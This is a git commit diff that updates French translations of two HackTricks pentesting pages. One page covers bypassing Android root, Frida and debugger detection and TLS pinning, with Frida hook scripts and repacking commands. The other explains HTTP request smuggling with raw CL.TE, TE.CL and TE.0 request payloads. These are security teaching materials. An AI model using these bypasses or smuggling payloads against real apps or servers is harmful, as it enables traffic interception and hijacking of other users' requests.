Translated ['src/mobile-pentesting/android-app-pentesting/android-anti-i

This commit is contained in:
Translator 2025-08-22 16:37:05 +00:00
parent 9411f5d1ce
commit d2e507f234
5 changed files with 515 additions and 384 deletions

File diff suppressed because one or more lines are too long

View File

@ -2,75 +2,75 @@
{{#include ../../banners/hacktricks-training.md}}
Cette page fournit un flux de travail pratique pour regagner une analyse dynamique contre les applications Android qui détectent/bloquent l'instrumentation ou appliquent le pinning TLS. Elle se concentre sur un triage rapide, des détections courantes et des hooks/tactiques copiables pour les contourner sans recompilation lorsque cela est possible.
Cette page fournit un workflow pratique pour retrouver dynamic analysis contre des applications Android qui détectent/empêchent l'instrumentation liée au root ou qui appliquent TLS pinning. Elle se concentre sur le triage rapide, les détections courantes et des hooks/tactiques copiables pour les bypasser sans repacking quand c'est possible.
## Surface de détection (ce que les applications vérifient)
## Detection Surface (what apps check)
- Vérifications de root : binaire su, chemins Magisk, valeurs getprop, paquets root courants
- Vérifications Frida/debugger (Java) : Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scan de /proc, classpath, libs chargées
- Anti-debug natif : ptrace(), syscalls, anti-attach, breakpoints, hooks en ligne
- Vérifications d'initialisation précoce : Application.onCreate() ou hooks de démarrage de processus qui plantent si l'instrumentation est présente
- Pinning TLS : TrustManager/HostnameVerifier personnalisé, OkHttp CertificatePinner, pinning Conscrypt, pins natifs
- Root checks: su binary, Magisk paths, getprop values, common root packages
- Frida/debugger checks (Java): Debug.isDebuggerConnected(), ActivityManager.getRunningAppProcesses(), getRunningServices(), scanning /proc, classpath, loaded libs
- Native antidebug: ptrace(), syscalls, antiattach, breakpoints, inline hooks
- Early init checks: Application.onCreate() or process start hooks that crash if instrumentation is present
- TLS pinning: custom TrustManager/HostnameVerifier, OkHttp CertificatePinner, Conscrypt pinning, native pins
## Étape 1 — Gain rapide : cacher le root avec Magisk DenyList
## Step 1 — Quick win: hide root with Magisk DenyList
- Activer Zygisk dans Magisk
- Activer DenyList, ajouter le paquet cible
- Redémarrer et retester
- Enable Zygisk in Magisk
- Enable DenyList, add the target package
- Reboot and retest
De nombreuses applications ne recherchent que des indicateurs évidents (chemins su/Magisk/getprop). DenyList neutralise souvent les vérifications naïves.
Many apps only look for obvious indicators (su/Magisk paths/getprop). DenyList often neutralizes naive checks.
Références :
- Magisk (Zygisk & DenyList) : https://github.com/topjohnwu/Magisk
References:
- Magisk (Zygisk & DenyList): https://github.com/topjohnwu/Magisk
## Étape 2 — Tests Frida Codeshare de 30 secondes
## Step 2 — 30second Frida Codeshare tests
Essayez des scripts courants avant de plonger en profondeur :
Try common dropin scripts before deep diving:
- anti-root-bypass.js
- anti-frida-detection.js
- hide_frida_gum.js
Exemple :
Exemple:
```bash
frida -U -f com.example.app -l anti-frida-detection.js
```
Ces vérifications Java root/debug, les analyses de processus/services et native ptrace() sont généralement contournées. Utile sur des applications légèrement protégées ; les cibles renforcées peuvent nécessiter des hooks sur mesure.
Ces techniques neutralisent généralement les vérifications Java root/debug, les process/service scans et ptrace() natifs. Utile sur des apps peu protégées ; les hardened targets peuvent nécessiter des hooks adaptés.
- Codeshare: https://codeshare.frida.re/
## Étape 3 — Contourner les détecteurs au moment de l'initialisation en s'attachant tard
## Étape 3 — Contourner les détecteurs init-time en s'attachant tardivement
De nombreuses détections ne s'exécutent que lors de la création du processus/onCreate(). L'injection au moment de la création (-f) ou les gadgets sont détectés ; s'attacher après le chargement de l'interface utilisateur peut passer inaperçu.
Beaucoup de détections ne s'exécutent que lors du process spawn/onCreate(). Les injections au spawn (-f) ou les gadgets se font repérer ; s'attacher après le chargement de l'UI peut permettre de passer outre.
```bash
# Launch the app normally (launcher/adb), wait for UI, then attach
frida -U -n com.example.app
# Or with Objection to attach to running process
aobjection --gadget com.example.app explore # if using gadget
```
Si cela fonctionne, maintenez la session stable et procédez à la cartographie et aux vérifications de stub.
Si cela fonctionne, maintenez la session stable et procédez à la cartographie et aux vérifications des stubs.
## Étape 4 — Cartographier la logique de détection via Jadx et la recherche de chaînes
## Étape 4 — Cartographier la logique de détection via Jadx et recherche de chaînes
Mots-clés de triage statique dans Jadx :
- "frida", "gum", "root", "magisk", "ptrace", "su", "getprop", "debugger"
Modèles Java typiques :
Schémas Java typiques :
```java
public boolean isFridaDetected() {
return getRunningServices().contains("frida");
}
```
APIs courantes à examiner/accrocher :
APIs courantes à examiner/hook:
- android.os.Debug.isDebuggerConnected
- android.app.ActivityManager.getRunningAppProcesses / getRunningServices
- java.lang.System.loadLibrary / System.load (pont natif)
- java.lang.Runtime.exec / ProcessBuilder (commandes de sondage)
- android.os.SystemProperties.get (heuristiques root/emulateur)
- java.lang.System.loadLibrary / System.load (native bridge)
- java.lang.Runtime.exec / ProcessBuilder (probing commands)
- android.os.SystemProperties.get (root/emulator heuristics)
## Étape 5 — Stub de runtime avec Frida (Java)
## Étape 5 — Runtime stubbing with Frida (Java)
Remplacer les gardes personnalisés pour retourner des valeurs sûres sans recompilation :
Surcharger les vérifications personnalisées pour renvoyer des valeurs sûres sans repacking:
```js
Java.perform(() => {
const Checks = Java.use('com.example.security.Checks');
@ -85,7 +85,7 @@ const AM = Java.use('android.app.ActivityManager');
AM.getRunningAppProcesses.implementation = function () { return java.util.Collections.emptyList(); };
});
```
Triager les premiers plantages ? Dump les classes juste avant qu'il ne meure pour repérer les espaces de noms de détection probables :
Triage des plantages précoces ? Dump classes juste avant que l'application ne plante pour repérer les namespaces de détection probables :
```js
Java.perform(() => {
Java.enumerateLoadedClasses({
@ -94,7 +94,7 @@ onComplete: () => console.log('Done')
});
});
```
Enregistrer et neutraliser les méthodes suspectes pour confirmer le flux d'exécution :
Consigner et neutraliser les méthodes suspectes pour confirmer le flux d'exécution :
```js
Java.perform(() => {
const Det = Java.use('com.example.security.DetectionManager');
@ -104,24 +104,24 @@ return false;
};
});
```
## Étape 6 — Suivez la piste JNI/native lorsque les hooks Java échouent
## Étape 6 — Suivre la piste JNI/native lorsque les hooks Java échouent
Tracez les points d'entrée JNI pour localiser les chargeurs natifs et l'initialisation de détection :
Tracer les entry points JNI pour localiser les native loaders et l'init de détection :
```bash
frida-trace -n com.example.app -i "JNI_OnLoad"
```
Triage rapide natif des fichiers .so regroupés :
Triage natif rapide des fichiers .so embarqués :
```bash
# List exported symbols & JNI
nm -D libfoo.so | head
objdump -T libfoo.so | grep Java_
strings -n 6 libfoo.so | egrep -i 'frida|ptrace|gum|magisk|su|root'
```
Reversing interactif/natif :
Reversing interactif/natif:
- Ghidra: https://ghidra-sre.org/
- r2frida: https://github.com/nowsecure/r2frida
Exemple : neutre ptrace pour vaincre un antidebug simple dans libc :
Exemple : neutraliser ptrace pour contourner un antidebug simple dans libc:
```js
const ptrace = Module.findExportByName(null, 'ptrace');
if (ptrace) {
@ -130,40 +130,43 @@ return -1; // pretend failure
}, 'int', ['int', 'int', 'pointer', 'pointer']));
}
```
Voir aussi : {{#ref}}
Voir aussi:
{{#ref}}
reversing-native-libraries.md
{{#endref}}
## Étape 7 — Patching Objection (intégrer gadget / bases de strip)
## Étape 7 — Objection patching (embed gadget / strip basics)
Lorsque vous préférez le repacking aux hooks d'exécution, essayez :
Si vous préférez le repacking aux runtime hooks, essayez :
```bash
objection patchapk --source app.apk
```
Notes:
- Nécessite apktool ; assurez-vous d'avoir une version actuelle selon le guide officiel pour éviter les problèmes de construction : https://apktool.org/docs/install
- L'injection de gadget permet l'instrumentation sans root mais peut toujours être détectée par des vérifications plus strictes au moment de l'initialisation.
Remarques:
- Nécessite apktool ; assurez-vous d'avoir une version récente à partir du guide officiel pour éviter des problèmes de build : https://apktool.org/docs/install
- Gadget injection permet l'instrumentation sans root mais peut quand même être détectée par des vérifications inittime plus strictes.
References:
- Objection : https://github.com/sensepost/objection
Références:
- Objection: https://github.com/sensepost/objection
## Étape 8 — Solution de secours : Patch TLS pinning pour la visibilité réseau
Si l'instrumentation est bloquée, vous pouvez toujours inspecter le trafic en supprimant le pinning de manière statique :
Si l'instrumentation est bloquée, vous pouvez toujours inspecter le trafic en supprimant le pinning statiquement :
```bash
apk-mitm app.apk
# Then install the patched APK and proxy via Burp/mitmproxy
```
- Outil : https://github.com/shroudedcode/apk-mitm
- Pour les astuces de confiance CA de configuration réseau (et la confiance CA utilisateur Android 7+), voir :
- Outil: https://github.com/shroudedcode/apk-mitm
- Pour les astuces CAtrust de configuration réseau (et Android 7+ user CA trust), voir :
{{#ref}}
make-apk-accept-ca-certificate.md
{{#endref}}
{{#ref}}
install-burp-certificate.md
{{#endref}}
## Feuille de triche de commandes pratiques
## Aide-mémoire pratique des commandes
```bash
# List processes and attach
frida-ps -Uai
@ -181,12 +184,12 @@ objection --gadget com.example.app explore
# Static TLS pinning removal
apk-mitm app.apk
```
## Conseils et mises en garde
## Conseils & mises en garde
- Préférez attacher tard plutôt que de créer un processus lorsque les applications plantent au lancement
- Certaines détections se relancent dans des flux critiques (par exemple, paiement, authentification) — gardez les hooks actifs pendant la navigation
- Mélangez statique et dynamique : chasse aux chaînes dans Jadx pour établir une liste restreinte de classes ; puis accrochez les méthodes pour vérifier à l'exécution
- Les applications durcies peuvent utiliser des packers et un pinning TLS natif — attendez-vous à inverser le code natif
- Privilégiez l'attachement tardif plutôt que le spawn lorsque les apps plantent au lancement
- Certaines détections se relancent dans des flows critiques (e.g., payment, auth) — gardez les hooks actifs pendant la navigation
- Mélangez analyse statique et dynamique : string hunt dans Jadx pour présélectionner des classes ; puis posez des hooks sur les méthodes pour vérifier au runtime
- Les apps hardened peuvent utiliser des packers et du TLS pinning natif — attendez-vous à reverser du code natif
## Références

View File

@ -2,10 +2,11 @@
{{#include ../../banners/hacktricks-training.md}}
## Qu'est-ce que c'est
Cette vulnérabilité se produit lorsqu'une **désynchronisation** entre les **proxies front-end** et le serveur **back-end** permet à un **attaquant** d'**envoyer** une **requête** HTTP qui sera **interprétée** comme une **unique requête** par les proxies **front-end** (équilibreur de charge/proxy inverse) et **comme 2 requêtes** par le serveur **back-end**.\
Cela permet à un utilisateur de **modifier la prochaine requête qui arrive au serveur back-end après la sienne**.
Cette vulnérabilité survient lorsqu'une **désynchronisation** entre les **front-end proxies** et le serveur **back-end** permet à un **attaquant** d'**envoyer** une requête HTTP qui sera **interprétée** comme une **requête unique** par les **front-end proxies** (load balance/reverse-proxy) et **comme 2 requêtes** par le serveur **back-end**.\
Cela permet à un utilisateur de **modifier la requête suivante** qui arrive au serveur back-end après la sienne.
### Théorie
@ -15,49 +16,49 @@ Cela permet à un utilisateur de **modifier la prochaine requête qui arrive au
**Content-Length**
> L'en-tête d'entité Content-Length indique la taille du corps de l'entité, en octets, envoyée au destinataire.
> L'en-tête d'entité Content-Length indique la taille de l'entity-body, en octets, envoyé au destinataire.
**Transfer-Encoding: chunked**
> L'en-tête Transfer-Encoding spécifie la forme d'encodage utilisée pour transférer en toute sécurité le corps de la charge utile à l'utilisateur.\
> Chunked signifie que de grandes données sont envoyées en une série de morceaux.
> Chunked signifie que de grosses données sont envoyées en une série de chunks.
### Réalité
Le **Front-End** (un équilibreur de charge / Proxy Inverse) **traite** l'en-tête _**content-length**_ ou l'en-tête _**transfer-encoding**_ et le serveur **Back-end** **traite l'autre**, provoquant une **désynchronisation** entre les 2 systèmes.\
Cela pourrait être très critique car **un attaquant pourra envoyer une requête** au proxy inverse qui sera **interprétée** par le serveur **back-end** **comme 2 requêtes différentes**. Le **danger** de cette technique réside dans le fait que le serveur **back-end** **interprétera** la **2ème requête injectée** comme si elle **venait du prochain client** et la **vraie requête** de ce client fera **partie** de la **requête injectée**.
Les **Front-End** (un load-balancer / Reverse Proxy) traitent l'en-tête _**Content-Length**_ ou l'en-tête _**Transfer-Encoding**_ et le serveur **Back-End** traite l'autre, provoquant une **désynchronisation** entre les 2 systèmes.\
Cela peut être très critique car **un attaquant pourra envoyer une seule requête** au reverse proxy qui sera **interprétée** par le serveur **back-end** **comme 2 requêtes différentes**. Le **danger** de cette technique réside dans le fait que le serveur **back-end** **interprétera** la **2ème requête injectée** comme si elle **provenait du client suivant** et la **vraie requête** de ce client fera **partie** de la **requête injectée**.
### Particularités
Rappelez-vous qu'en HTTP **un caractère de nouvelle ligne est composé de 2 octets :**
- **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer par le dernier caractère, **une nouvelle ligne n'est pas nécessaire à la fin de la requête**.
- **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **prochain morceau**. Le **morceau** doit **se terminer** par une **nouvelle ligne**, mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **morceau de taille 0 suivi de 2 nouvelles lignes** : `0`
- **Connection** : D'après mon expérience, il est recommandé d'utiliser **`Connection: keep-alive`** lors de la première requête du request Smuggling.
- **Content-Length** : Cet en-tête utilise un **nombre décimal** pour indiquer le **nombre** d'**octets** du **corps** de la requête. Le corps est censé se terminer au dernier caractère, **une nouvelle ligne n'est pas nécessaire** à la fin de la requête.
- **Transfer-Encoding :** Cet en-tête utilise dans le **corps** un **nombre hexadécimal** pour indiquer le **nombre** d'**octets** du **chunk suivant**. Le **chunk** doit **se terminer** par une **nouvelle ligne** mais cette nouvelle ligne **n'est pas comptée** par l'indicateur de longueur. Cette méthode de transfert doit se terminer par un **chunk de taille 0 suivi de 2 nouvelles lignes** : `0`
- **Connection** : D'après mon expérience il est recommandé d'utiliser **`Connection: keep-alive`** sur la première requête du Request Smuggling.
## Exemples de base
> [!TIP]
> Lors de l'exploitation de cela avec Burp Suite, **désactivez `Update Content-Length` et `Normalize HTTP/1 line endings`** dans le répéteur car certains gadgets abusent des nouvelles lignes, des retours chariot et des content-length malformés.
> Lorsque vous essayez d'exploiter ceci avec Burp Suite **désactivez `Update Content-Length` et `Normalize HTTP/1 line endings`** dans le repeater car certains gadgets abusent des newlines, des carriage returns et des content-lengths malformés.
Les attaques de HTTP request smuggling sont élaborées en envoyant des requêtes ambiguës qui exploitent les divergences dans la façon dont les serveurs front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement comme **CL.TE**, **TE.CL**, et **TE.TE**. Chaque type représente une combinaison unique de la façon dont les serveurs front-end et back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête de différentes manières, entraînant des résultats inattendus et potentiellement malveillants.
Les attaques de HTTP request smuggling sont construites en envoyant des requêtes ambiguës qui exploitent des divergences dans la manière dont les front-end et back-end interprètent les en-têtes `Content-Length` (CL) et `Transfer-Encoding` (TE). Ces attaques peuvent se manifester sous différentes formes, principalement en **CL.TE**, **TE.CL**, et **TE.TE**. Chaque type représente une combinaison unique de la façon dont le front-end et le back-end priorisent ces en-têtes. Les vulnérabilités proviennent du fait que les serveurs traitent la même requête différemment, entraînant des résultats inattendus et potentiellement malveillants.
### Exemples de base des types de vulnérabilités
![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)
> [!TIP]
> Au tableau précédent, vous devriez ajouter la technique TE.0, comme la technique CL.0 mais en utilisant Transfer Encoding.
> À la table précédente vous devriez ajouter la technique TE.0, similaire à la technique CL.0 mais en utilisant Transfer-Encoding.
#### Vulnérabilité CL.TE (Content-Length utilisé par le Front-End, Transfer-Encoding utilisé par le Back-End)
#### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)
- **Front-End (CL) :** Traite la requête en fonction de l'en-tête `Content-Length`.
- **Back-End (TE) :** Traite la requête en fonction de l'en-tête `Transfer-Encoding`.
- **Front-End (CL):** Traite la requête en se basant sur l'en-tête `Content-Length`.
- **Back-End (TE):** Traite la requête en se basant sur l'en-tête `Transfer-Encoding`.
- **Scénario d'attaque :**
- L'attaquant envoie une requête où la valeur de l'en-tête `Content-Length` ne correspond pas à la longueur réelle du contenu.
- Le serveur front-end transmet l'intégralité de la requête au back-end, en fonction de la valeur de `Content-Length`.
- Le serveur back-end traite la requête comme étant en morceaux en raison de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête séparée et subséquente.
- Le front-end transfère l'ensemble de la requête au back-end, en se basant sur la valeur de `Content-Length`.
- Le back-end traite la requête comme chunked à cause de l'en-tête `Transfer-Encoding: chunked`, interprétant les données restantes comme une requête distincte et suivante.
- **Exemple :**
```
@ -73,15 +74,15 @@ GET /404 HTTP/1.1
Foo: x
```
#### Vulnérabilité TE.CL (Transfer-Encoding utilisé par le Front-End, Content-Length utilisé par le Back-End)
#### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)
- **Front-End (TE) :** Traite la requête en fonction de l'en-tête `Transfer-Encoding`.
- **Back-End (CL) :** Traite la requête en fonction de l'en-tête `Content-Length`.
- **Front-End (TE):** Traite la requête en se basant sur l'en-tête `Transfer-Encoding`.
- **Back-End (CL):** Traite la requête en se basant sur l'en-tête `Content-Length`.
- **Scénario d'attaque :**
- L'attaquant envoie une requête en morceaux où la taille du morceau (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne s'alignent pas.
- Le serveur front-end, respectant `Transfer-Encoding`, transmet l'intégralité de la requête au back-end.
- Le serveur back-end, respectant `Content-Length`, ne traite que la partie initiale de la requête (`7b` octets), laissant le reste comme partie d'une requête subséquente non intentionnelle.
- L'attaquant envoie une requête chunked où la taille du chunk (`7b`) et la longueur réelle du contenu (`Content-Length: 4`) ne correspondent pas.
- Le front-end, respectant `Transfer-Encoding`, transfère l'ensemble de la requête au back-end.
- Le back-end, respectant `Content-Length`, traite seulement la première partie de la requête (`7b` octets), laissant le reste comme partie d'une requête suivante non intentionnelle.
- **Exemple :**
```
@ -102,14 +103,14 @@ x=
```
#### Vulnérabilité TE.TE (Transfer-Encoding utilisé par les deux, avec obfuscation)
#### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)
- **Serveurs :** Les deux prennent en charge `Transfer-Encoding`, mais l'un peut être trompé pour l'ignorer via l'obfuscation.
- **Serveurs :** Les deux supportent `Transfer-Encoding`, mais l'un peut être trompé en ignorant via obfuscation.
- **Scénario d'attaque :**
- L'attaquant envoie une requête avec des en-têtes `Transfer-Encoding` obfusqués.
- Selon le serveur (front-end ou back-end) qui ne reconnaît pas l'obfuscation, une vulnérabilité CL.TE ou TE.CL peut être exploitée.
- La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête subséquente, entraînant un smuggling.
- La partie non traitée de la requête, telle que vue par l'un des serveurs, devient partie d'une requête suivante, conduisant au smuggling.
- **Exemple :**
```
@ -129,10 +130,10 @@ Transfer-Encoding
: chunked
```
#### **Scénario CL.CL (Content-Length utilisé par le Front-End et le Back-End)**
#### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**
- Les deux serveurs traitent la requête uniquement en fonction de l'en-tête `Content-Length`.
- Ce scénario ne conduit généralement pas à un smuggling, car il y a un alignement dans la façon dont les deux serveurs interprètent la longueur de la requête.
- Les deux serveurs traitent la requête uniquement en se basant sur l'en-tête `Content-Length`.
- Ce scénario ne conduit généralement pas au smuggling, car il y a alignement dans la manière dont les deux serveurs interprètent la longueur de la requête.
- **Exemple :**
```
@ -144,10 +145,10 @@ Connection: keep-alive
Normal Request
```
#### **Scénario CL.0**
#### **CL.0 Scenario**
- Fait référence aux scénarios où l'en-tête `Content-Length` est présent et a une valeur autre que zéro, indiquant que le corps de la requête a du contenu. Le back-end ignore l'en-tête `Content-Length` (qui est traité comme 0), mais le front-end l'analyse.
- C'est crucial pour comprendre et élaborer des attaques de smuggling, car cela influence la façon dont les serveurs déterminent la fin d'une requête.
- Se réfère aux scénarios où l'en-tête `Content-Length` est présent et a une valeur autre que zéro, indiquant que le corps de la requête contient du contenu. Le back-end ignore l'en-tête `Content-Length` (qui est traité comme 0), mais le front-end le parse.
- C'est crucial pour comprendre et créer des attaques de smuggling, car cela influence la façon dont les serveurs déterminent la fin d'une requête.
- **Exemple :**
```
@ -159,11 +160,11 @@ Connection: keep-alive
Non-Empty Body
```
#### Scénario TE.0
#### TE.0 Scenario
- Comme le précédent mais en utilisant TE
- Technique [reportée ici](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Exemple**:
- Comme le précédent mais en utilisant TE.
- Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
```
OPTIONS / HTTP/1.1
Host: {HOST}
@ -181,33 +182,34 @@ x: X
EMPTY_LINE_HERE
EMPTY_LINE_HERE
```
#### Casser le serveur web
#### Faire planter le serveur web
Cette technique est également utile dans des scénarios où il est possible de **casser un serveur web tout en lisant les données HTTP initiales** mais **sans fermer la connexion**. De cette manière, le **corps** de la requête HTTP sera considéré comme la **prochaine requête HTTP**.
Cette technique est aussi utile dans des scénarios où il est possible de **faire planter un serveur web pendant la lecture des données HTTP initiales** mais **sans fermer la connexion**. Ainsi, le **corps** de la requête HTTP sera considéré comme la **requête HTTP suivante**.
Par exemple, comme expliqué dans [**cet article**](https://mizu.re/post/twisty-python), dans Werkzeug, il était possible d'envoyer certains caractères **Unicode** et cela ferait **casser** le serveur. Cependant, si la connexion HTTP a été créée avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **prochaine requête HTTP**.
Par exemple, comme expliqué dans [**cet article**](https://mizu.re/post/twisty-python), dans Werkzeug il était possible d'envoyer certains caractères **Unicode** et cela faisait **planter** le serveur. Cependant, si la connexion HTTP était établie avec l'en-tête **`Connection: keep-alive`**, le corps de la requête ne sera pas lu et la connexion restera ouverte, donc le **corps** de la requête sera traité comme la **requête HTTP suivante**.
#### Forçage via des en-têtes hop-by-hop
#### Forçage via les en-têtes hop-by-hop
En abusant des en-têtes hop-by-hop, vous pourriez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding afin qu'un contournement de requête HTTP soit possible**.
En abusant des en-têtes hop-by-hop vous pouvez indiquer au proxy de **supprimer l'en-tête Content-Length ou Transfer-Encoding pour permettre un HTTP request smuggling exploitable**.
```
Connection: Content-Length
```
Pour **plus d'informations sur les en-têtes hop-by-hop**, visitez :
Pour **more information about hop-by-hop headers** consultez :
{{#ref}}
../abusing-hop-by-hop-headers.md
{{#endref}}
## Trouver des vulnérabilités de HTTP Request Smuggling
## Détection de HTTP Request Smuggling
Identifier les vulnérabilités de HTTP request smuggling peut souvent être réalisé en utilisant des techniques de timing, qui reposent sur l'observation du temps qu'il faut au serveur pour répondre à des requêtes manipulées. Ces techniques sont particulièrement utiles pour détecter les vulnérabilités CL.TE et TE.CL. En plus de ces méthodes, il existe d'autres stratégies et outils qui peuvent être utilisés pour trouver de telles vulnérabilités :
Identifier des vulnérabilités de HTTP request smuggling peut souvent se faire en utilisant des techniques de timing, qui reposent sur l'observation du temps que met le serveur à répondre à des requêtes manipulées. Ces techniques sont particulièrement utiles pour détecter les vulnérabilités CL.TE et TE.CL. En dehors de ces méthodes, il existe d'autres stratégies et outils pour trouver de telles vulnérabilités :
### Trouver des vulnérabilités CL.TE en utilisant des techniques de timing
### Détection des vulnérabilités CL.TE avec des techniques de timing
- **Méthode :**
- Envoyer une requête qui, si l'application est vulnérable, fera attendre le serveur back-end pour des données supplémentaires.
- Envoyer une requête qui, si l'application est vulnérable, fera que le back-end attendra des données supplémentaires.
- **Exemple :**
```
@ -223,18 +225,18 @@ A
```
- **Observation :**
- Le serveur front-end traite la requête en fonction de `Content-Length` et coupe le message prématurément.
- Le serveur back-end, s'attendant à un message chunked, attend le prochain chunk qui n'arrive jamais, provoquant un délai.
- Le front-end traite la requête en se basant sur `Content-Length` et coupe le message prématurément.
- Le back-end, s'attendant à un message chunked, attend le chunk suivant qui n'arrive jamais, provoquant un délai.
- **Indicateurs :**
- Timeouts ou longs délais de réponse.
- Réception d'une erreur 400 Bad Request du serveur back-end, parfois avec des informations détaillées sur le serveur.
- Réception d'une erreur 400 Bad Request provenant du back-end, parfois accompagnée d'informations détaillées sur le serveur.
### Trouver des vulnérabilités TE.CL en utilisant des techniques de timing
### Détection des vulnérabilités TE.CL avec des techniques de timing
- **Méthode :**
- Envoyer une requête qui, si l'application est vulnérable, fera attendre le serveur back-end pour des données supplémentaires.
- Envoyer une requête qui, si l'application est vulnérable, fera que le back-end attendra des données supplémentaires.
- **Exemple :**
```
@ -249,41 +251,41 @@ X
```
- **Observation :**
- Le serveur front-end traite la requête en fonction de `Transfer-Encoding` et transmet l'intégralité du message.
- Le serveur back-end, s'attendant à un message basé sur `Content-Length`, attend des données supplémentaires qui n'arrivent jamais, provoquant un délai.
- Le front-end traite la requête en se basant sur `Transfer-Encoding` et transmet l'intégralité du message.
- Le back-end, s'attendant à un message basé sur `Content-Length`, attend des données supplémentaires qui n'arrivent jamais, provoquant un délai.
### Autres méthodes pour trouver des vulnérabilités
- **Analyse de réponse différentielle :**
- Envoyer des versions légèrement variées d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, indiquant une incohérence de parsing.
- **Analyse différentielle des réponses :**
- Envoyer des versions légèrement différentes d'une requête et observer si les réponses du serveur diffèrent de manière inattendue, ce qui indiquerait une divergence d'analyse.
- **Utilisation d'outils automatisés :**
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambigs et en analysant les réponses.
- Des outils comme l'extension 'HTTP Request Smuggler' de Burp Suite peuvent tester automatiquement ces vulnérabilités en envoyant diverses formes de requêtes ambigües et en analysant les réponses.
- **Tests de variance de Content-Length :**
- Envoyer des requêtes avec des valeurs `Content-Length` variées qui ne correspondent pas à la longueur réelle du contenu et observer comment le serveur gère de telles incohérences.
- Envoyer des requêtes avec des valeurs `Content-Length` variables et non alignées avec la longueur réelle du contenu et observer comment le serveur gère ces discordances.
- **Tests de variance de Transfer-Encoding :**
- Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment les serveurs front-end et back-end réagissent différemment à de telles manipulations.
- Envoyer des requêtes avec des en-têtes `Transfer-Encoding` obfusqués ou malformés et surveiller comment le front-end et le back-end répondent différemment à ces manipulations.
### Test de vulnérabilité de HTTP Request Smuggling
### Tests de vulnérabilité HTTP Request Smuggling
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes des clients peuvent être manipulées. Une méthode simple consiste à tenter de polluer vos requêtes, par exemple, en faisant en sorte qu'une requête à `/` renvoie une réponse 404. Les exemples `CL.TE` et `TE.CL` discutés précédemment dans [Basic Examples](#basic-examples) démontrent comment polluer une requête client pour provoquer une réponse 404, malgré le fait que le client vise à accéder à une ressource différente.
Après avoir confirmé l'efficacité des techniques de timing, il est crucial de vérifier si les requêtes client peuvent être manipulées. Une méthode simple consiste à tenter de poisonner vos requêtes, par exemple faire en sorte qu'une requête vers `/` renvoie un 404. Les exemples CL.TE et TE.CL discutés précédemment dans [Basic Examples](#basic-examples) montrent comment poisonner la requête d'un client pour provoquer un 404, malgré le fait que le client cherchait à accéder à une ressource différente.
**Considérations clés**
Lors de la recherche de vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
Lorsque vous testez des vulnérabilités de request smuggling en interférant avec d'autres requêtes, gardez à l'esprit :
- **Connexions réseau distinctes :** Les requêtes "d'attaque" et "normales" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
- **URL et paramètres cohérents :** Visez à utiliser des URL et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des serveurs back-end spécifiques en fonction de l'URL et des paramètres. Faire correspondre ceux-ci augmente la probabilité que les deux requêtes soient traitées par le même serveur, une condition préalable à une attaque réussie.
- **Conditions de timing et de course :** La requête "normale", destinée à détecter l'interférence de la requête "d'attaque", est en concurrence avec d'autres requêtes d'application concurrentes. Par conséquent, envoyez la requête "normale" immédiatement après la requête "d'attaque". Les applications chargées peuvent nécessiter plusieurs essais pour une confirmation concluante de la vulnérabilité.
- **Défis d'équilibrage de charge :** Les serveurs front-end agissant comme des équilibreurs de charge peuvent distribuer les requêtes sur divers systèmes back-end. Si les requêtes "d'attaque" et "normales" se retrouvent sur des systèmes différents, l'attaque ne réussira pas. Cet aspect d'équilibrage de charge peut nécessiter plusieurs tentatives pour confirmer une vulnérabilité.
- **Impact utilisateur non intentionnel :** Si votre attaque impacte involontairement la requête d'un autre utilisateur (pas la requête "normale" que vous avez envoyée pour la détection), cela indique que votre attaque a influencé un autre utilisateur de l'application. Des tests continus pourraient perturber d'autres utilisateurs, nécessitant une approche prudente.
- **Connexions réseau distinctes :** Les requêtes "attaque" et "normale" doivent être envoyées sur des connexions réseau séparées. Utiliser la même connexion pour les deux ne valide pas la présence de la vulnérabilité.
- **URL et paramètres identiques :** Essayez d'utiliser des URLs et des noms de paramètres identiques pour les deux requêtes. Les applications modernes routent souvent les requêtes vers des back-ends spécifiques selon l'URL et les paramètres. Les faire correspondre augmente la probabilité que les deux requêtes soient traitées par le même serveur, condition nécessaire pour une attaque réussie.
